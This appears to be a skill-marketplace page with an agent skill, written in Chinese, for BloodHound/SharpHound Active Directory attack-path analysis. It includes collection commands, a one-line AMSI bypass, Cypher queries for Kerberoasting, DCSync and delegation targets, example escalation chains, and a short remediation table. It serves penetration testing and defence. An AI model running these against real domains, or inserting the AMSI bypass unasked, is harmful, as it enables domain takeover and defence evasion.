# Performing Active Directory Bloodhound Analysis

> 使用 BloodHound 和 SharpHound 枚举活动目录（Active Directory）关系，从已控制的用户识别到域管理员的攻击路径。

- Skill: `killvxk/performing-active-directory-bloodhound-analysis` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-active-directory-bloodhound-analysis`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-active-directory-bloodhound-analysis/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-active-directory-bloodhound-analysis

---


# 执行活动目录 BloodHound 分析

## 概述

BloodHound 是一个开源活动目录侦察工具，使用图论揭示 AD 环境中隐藏的关系、攻击路径和权限提升机会。通过使用 SharpHound（或用于 Azure AD 的 AzureHound）收集数据，BloodHound 可视化攻击者如何通过错误配置、组成员关系、ACL 滥用和信任关系链，从低权限用户升级到域管理员。MITRE ATT&CK 将 BloodHound 分类为软件 S0521。

## 前置条件

- 在域加入的 Windows 系统上的初始立足点（或有效的域凭据）
- 已安装 BloodHound CE（社区版）或 BloodHound Legacy 4.x
- SharpHound 收集器（C# 二进制文件或 PowerShell 模块）
- Neo4j 数据库（Legacy）或 PostgreSQL（CE）
- 到域控制器的网络访问（LDAP TCP/389、LDAPS TCP/636）

## MITRE ATT&CK 映射

| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1087.002 | 账户发现：域账户 | 发现 |
| T1069.002 | 权限组发现：域组 | 发现 |
| T1018 | 远程系统发现 | 发现 |
| T1482 | 域信任发现 | 发现 |
| T1615 | 组策略发现 | 发现 |
| T1069.001 | 权限组发现：本地组 | 发现 |

## 步骤一：使用 SharpHound 收集数据

### SharpHound.exe（OPSEC 优选）

```powershell
# 收集所有数据类型（用户、组、计算机、会话、ACL、信任、GPO）
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# 隐蔽模式 - 仅收集结构数据（不进行会话枚举）
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# 使用特定域和凭据收集
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# 循环收集 - 随时间收集会话以获得更好的覆盖率
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# 从 Havoc C2 Demon 会话收集（内存中）
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
```

### Invoke-BloodHound（PowerShell）

```powershell
# 导入并运行
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# 加载前的 AMSI 绕过（如有需要）
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

### AzureHound（Azure AD）

```bash
# 收集 Azure AD 数据
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# 或使用 AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
```

## 步骤二：将数据导入 BloodHound

### BloodHound CE（v5+）

```bash
# 使用 Docker 启动 BloodHound CE
curl -L https://ghst.ly/getbhce | docker compose -f - up

# 访问 Web 界面：https://localhost:8080
# 默认凭据：admin / bloodhound
# 通过 GUI 上传 ZIP 文件：上传数据 > 选择文件
```

### BloodHound Legacy

```bash
# 启动 Neo4j
sudo neo4j start
# 访问 Neo4j：http://localhost:7474（默认 neo4j:neo4j）

# 启动 BloodHound GUI
./BloodHound --no-sandbox

# 将 ZIP 文件拖放到 BloodHound GUI 中
```

## 步骤三：攻击路径分析

### 预置查询（最关键）

```cypher
-- 查找所有域管理员
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- 从已控制用户到域管理员的最短路径
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- 查找具有到 DA 路径的 Kerberoastable 用户
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- 查找 AS-REP Roastable 用户
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname

-- 具有 DCSync 权限的用户
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name

-- 查找域用户是本地管理员的计算机
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p

-- 查找具有非约束委派的计算机
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

-- 查找约束委派滥用路径
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate

-- GPO 滥用路径
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50

-- 查找高价值目标上的所有会话
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
```

### 自定义 Cypher 查询

```cypher
-- 查找对其他用户具有 GenericAll 权限的用户（密码重置路径）
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name

-- 查找 WriteDACL 路径（ACL 滥用）
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50

-- 查找对特权组的 AddMember 权限
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name

-- 映射信任关系
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

-- 查找具有管理员访问权限的服务账户
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
```

## 步骤四：常见攻击路径

### 路径一：Kerberoasting 到 DA
```
已控制用户 -> Kerberoastable SVC 账户 -> 破解哈希 -> SVC 是服务器管理员 ->
服务器有 DA 会话 -> 窃取令牌 -> 域管理员
```

### 路径二：ACL 滥用链
```
已控制用户 -> 对用户2 的 GenericAll -> 重置密码 -> 用户2 是成员 ->
IT 管理员 -> DC 管理员 -> 域管理员
```

### 路径三：非约束委派
```
已控制用户 -> 服务器管理员（非约束委派）->
强制 DC 认证（PrinterBug/PetitPotam）-> 捕获 TGT -> DCSync
```

### 路径四：GPO 滥用
```
已控制用户 -> GPO 上的 GenericWrite -> 修改 GPO -> OU 计算机上的计划任务 ->
以 SYSTEM 身份执行代码
```

## 步骤五：修复建议

| 发现 | 风险 | 修复措施 |
|---|---|---|
| Kerberoastable 的 DA | 严重 | 使用 gMSA、轮换密码、仅 AES |
| 非约束委派 | 严重 | 迁移到约束/RBCD 委派 |
| 域用户是本地管理员 | 高 | 从本地管理员中删除 DA，使用 LAPS |
| 过多的 ACL 权限 | 高 | 审计并减少 GenericAll/WriteDACL |
| 陈旧的管理员会话 | 中 | 实施会话清理，限制 RDP |
| 跨域信任滥用 | 高 | 审查信任方向和 SID 过滤 |

## 参考资料

- BloodHound GitHub: https://github.com/BloodHoundAD/BloodHound
- BloodHound CE: https://github.com/SpecterOps/BloodHound
- SharpHound: https://github.com/BloodHoundAD/SharpHound
- MITRE ATT&CK S0521: https://attack.mitre.org/software/S0521/
- SpecterOps BloodHound 文档: https://bloodhound.readthedocs.io/

